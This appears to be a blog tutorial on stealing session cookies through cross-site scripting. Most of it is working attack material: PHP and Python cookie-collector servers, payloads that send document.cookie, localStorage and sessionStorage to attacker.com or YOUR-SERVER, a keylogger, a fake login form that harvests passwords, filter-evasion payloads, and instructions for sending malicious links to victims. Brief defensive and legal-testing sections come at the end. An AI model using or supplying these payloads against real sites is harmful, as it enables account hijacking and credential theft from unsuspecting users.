Complete Guide to Stealing Cookies with XSS
What is XSS?
Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript into web pages viewed by other users. When executed in a victim’s browser, this code can steal sensitive data like cookies.
Thank you for reading this post, don't forget to subscribe!How Cookies Work
Cookies are small pieces of data stored in the browser. They often contain session tokens that keep you logged in to websites. If an attacker steals your session cookie, they can impersonate you without needing your password.
Types of XSS
1. Reflected XSS
The injected script bounces off the web server in an error message, search result, or response. It requires the victim to click a crafted link.
Example vulnerable URL:
https://example.com/search?q=<script>alert(1)</script>
2. Stored XSS
The script is permanently stored on the server (database, comment, forum post) and runs when anyone visits the affected page.
3. DOM-based XSS
The vulnerability exists in client-side code rather than server-side. The attack payload modifies the DOM environment.
Step-by-Step: Cookie Stealing Attack
Step 1: Find a Vulnerable Input
Look for input fields that reflect user input without sanitization:
- Search boxes
- Comment sections
- Profile fields
- URL parameters
- Contact forms
Test with a simple payload:
<script>alert('XSS')</script>
If an alert box pops up, the site is vulnerable.
Step 2: Set Up a Cookie Collector
You need a server to receive stolen cookies. Here’s a simple PHP collector:
collector.php:
<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$timestamp = date('Y-m-d H:i:s');
$data = "Time: $timestamp\nIP: $ip\nCookie: $cookie\nUser-Agent: $user_agent\nReferer: $referer\n\n---\n\n";
file_put_contents('stolen_cookies.txt', $data, FILE_APPEND);
?>
Or use a Python server:
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class CookieCollector(BaseHTTPRequestHandler):
def do_GET(self):
query = parse_qs(urlparse(self.path).query)
cookie = query.get('cookie', [''])[0]
if cookie:
with open('stolen_cookies.txt', 'a') as f:
f.write(f"{cookie}\n")
print(f"[+] Cookie received: {cookie}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
HTTPServer(('0.0.0.0', 8080), CookieCollector).serve_forever()
Using a public request bin service (no server needed):
- RequestBin
- Webhook.site
- Pipedream
- Burp Collaborator
Step 3: Craft the XSS Payload
Basic payload:
<script>fetch('http://YOUR-SERVER/collector.php?cookie='+document.cookie)</script>
Using Image object (stealthier):
<script>new Image().src='http://YOUR-SERVER/collector.php?cookie='+document.cookie</script>
More reliable version:
<script>
var img = new Image();
img.src = "http://YOUR-SERVER/collector.php?cookie=" + encodeURIComponent(document.cookie);
</script>
Using XMLHttpRequest:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://YOUR-SERVER/collector.php?cookie=' + document.cookie, true);
xhr.send();
</script>
Bypassing HttpOnly (limited):
If HttpOnly flag is set on cookies, document.cookie won’t access them. Instead, you might need to perform actions as the victim directly.
Step 4: Deliver the Payload
For Reflected XSS:
Craft the malicious URL and send it to victims via email, social media, or embed it in a link:
https://vulnerable-site.com/search?q=<script>new+Image().src='http://YOUR-SERVER/collect.php?c='%2Bdocument.cookie</script>
For Stored XSS:
Simply post the payload as a comment or in a user profile field. Every visitor who views it will send you their cookies.
Real-World Payload Examples
Simple Cookie Theft
<script>document.location='http://attacker.com/log.php?c='+document.cookie</script>
Keylogger (capture everything they type)
<script>
document.onkeypress = function(e) {
var img = new Image();
img.src = 'http://attacker.com/log.php?k=' + e.key;
};
</script>
Full Page Hijack
<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/steal.php"><input name="user"><input name="pass" type="password"><input type="submit"></form>';
</script>
Using Fetch API (modern)
<script>
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie, url: location.href})
});
</script>
Evading Filters
Case Variations
<ScRiPt>alert(1)</ScRiPt>
Encoding
<img src=x onerror="alert(1)">
Using Different Tags
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
Bypassing Space Filters
<img/src=x/onerror=alert(1)>
JavaScript Protocol
<a href="javascript:alert(document.cookie)">Click me</a>
Complete Attack Script (Combined)
xss_payload.js (host this on your server):
// Steal cookies
var img = new Image();
img.src = 'http://attacker.com/collect.php?cookie=' + encodeURIComponent(document.cookie);
// Steal localStorage
var img2 = new Image();
img2.src = 'http://attacker.com/collect.php?localStorage=' + encodeURIComponent(JSON.stringify(localStorage));
// Steal sessionStorage
var img3 = new Image();
img3.src = 'http://attacker.com/collect.php?sessionStorage=' + encodeURIComponent(JSON.stringify(sessionStorage));
// Submit forms to attacker
var forms = document.getElementsByTagName('form');
for(var i=0; i<forms.length; i++) {
forms[i].action = 'http://attacker.com/collect.php';
}
Load it with:
<script src="http://attacker.com/xss_payload.js"></script>
Protection Against Cookie Theft
If you’re a developer protecting against this:
- Set HttpOnly flag on cookies (prevents JavaScript access)
- Set Secure flag (cookies only sent over HTTPS)
- Set SameSite attribute (restricts cross-origin requests)
- Input validation and output encoding
- Content Security Policy (CSP) headers
- Use modern frameworks that auto-escape output
Testing Legally
Only test on:
- Your own applications
- Bug bounty programs with permission
- Labs like PortSwigger Web Security Academy, OWASP Juice Shop, or DVWA
Tools for Finding XSS
- XSStrike – Advanced XSS detection suite
- Dalfox – Fast parameter analysis and XSS scanning
- Burp Suite – Web vulnerability scanner
- Browser DevTools – Manual testing
Quick Reference Card
| Payload Type | Code |
|---|---|
| Basic Alert Test | <script>alert(1)</script> |
| Steal Cookie | <script>new Image().src='http://YOUR-IP/?c='+document.cookie</script> |
| URL Encoded | %3Cscript%3Ealert(1)%3C/script%3E |
| Img Onerror | <img src=x onerror=alert(1)> |
| SVG Onload | <svg onload=alert(1)> |
| Body Onload | <body onload=alert(1)> |
This covers everything a beginner needs to understand XSS cookie theft from discovery to exploitation.